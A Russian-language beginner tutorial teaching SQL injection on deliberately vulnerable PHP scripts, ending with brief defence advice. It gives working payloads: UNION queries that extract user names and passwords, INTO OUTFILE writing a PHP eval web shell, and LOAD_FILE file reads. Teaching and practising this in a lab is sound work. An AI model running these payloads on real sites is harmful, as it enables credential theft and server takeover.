Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.
Предисловие
Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов — для запоминания.
Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры — как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.
Что же такое SQL инъекция?
Говоря простым языком — это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:
Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе
Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи — Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете
Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни :) Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.
Подготовка
Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php
Поиск SQL injection
Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка — это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!
Числовой входящий параметр
Для практики нам понадобится скрипт index1.php. Как я уже говорил выше, подставляем кавычки в ID новости.
sqlinj/index1.php?id=1'
Т.к. у нас запрос не имеет фильтрации:
$id = $_GET['id'];
$query = "SELECT * FROM news WHERE id=$id";
Скрипт поймет это как
SELECT * FROM news WHERE id=1'
И выдаст нам ошибку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16
Если ошибку не выдало — могут быть следующие причины:
1.SQL инъекции здесь нет — Фильтруются кавычки, или просто стоит преобразование в (int)
2.Отключен вывод ошибок.
Если все же ошибку вывело — Ура! Мы нашли первый вид SQL инъекции — Числовой входящий параметр.
Строковой входящий параметр
Запросы будем посылать на index2.php. В данном файле, запрос имеет вид:
$user = $_GET['user'];
$query = "SELECT * FROM news WHERE user='$user'";
Тут мы делаем выборку новости по имени пользователя, и опять же — не фильтруем.
Опять посылаем запрос с кавычкой:
sqlinj/index2.php?user=AlexanderPHP'
Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит — приступим к практике.
Приступаем к действиям
Немного теории
Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак "
--
" считается комментарием в языке SQL.ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20
Всё, что идет после комментария — будет отброшено То есть запрос:
SELECT * FROM news WHERE user='AlexanderPHP' -- habrahabra
Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:
sqlinj/index2.php?user=AlexanderPHP'%20--%20habrahabr
Выучите параметр UNION. В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.
Извлекаем из этого пользу
Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php.
Обратимся к скрипту
sqlinj/index1.php?id=1 UNION SELECT 1
. Запрос к БД у нас получается вот таким: SELECT * FROM news WHERE id=1 UNION SELECT 1
И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.
Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.
Подбираем количество полей
Подбор полей делается очень просто, достаточно посылать такие запросы:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Ошибка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Опять ошибка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ошибки нет! Значит количество столбцов равно 5.
GROUP BY
Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY
Если запрос
sqlinj/index1.php?id=1 GROUP BY 2
не выдал ошибок, значит кол-во полей больше 2. Пробуем:
sqlinj/index1.php?id=1 GROUP BY 8
Оп, видим ошибку, значит кол-во полей меньше 8.
Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 — ошибка, Значит кол-во полей равно 5
Определение выводимых столбцов
Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:
sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5
Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.
Вывод данных
Допустим мы знаем, что еще существует таблица users в которой существуют поля id, name и pass.
Нам нужно достать Информацию о пользователе с ID=1
Следовательно построим такой запрос:
sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Скрипт также продолжает выводить
Для этого, мы подставим название полей, за место цифр 1 и 3
sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Получили то — что требовалось!
Для «строкового входящего параметра», как в скрипте index2.php нужно добавлять кавычку в начале и знак комментария в конце. Пример:
sqlinj/index2.php?user=-1' UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20
Чтение/Запись файлов
Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.
Запись файлов
На самом деле всё очень просто. Для записи файла, мы будем использовать функцию OUTFILE .
sqlinj/index2.php?user=-1' UNION SELECT 1,2,3,4,5 INTO OUTFILE '1.php' --%20
Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
sqlinj/index2.php?user=-1' UNION SELECT 1,'<?php eval($_GET[1]) ?>',3,4,5 INTO OUTFILE '1.php' --%20
Чтение файлов
Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE, за место того поля, которое мы выбираем:
sqlinj/index2.php?user=-1' UNION SELECT 1,LOAD_FILE('1.php'),3,4,5 --%20
Таким образом, мы прочитали предыдущий записанный файл.
Способы защиты
Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
$id = (int) $_GET['id'];
Как подсказал пользователь malroc. Защищаться использованием PDO или prepared statements.
Вместо завершения
На этом хочу закончить свою первую часть про «SQL injection для начинающих». Во второй мы рассмотрим более тяжелые примеры инъекций. Пробуйте сами писать уязвимые скрипты и выполнять запросы.
И запомните, не доверяйте ни одному пользователю Вашего сайта.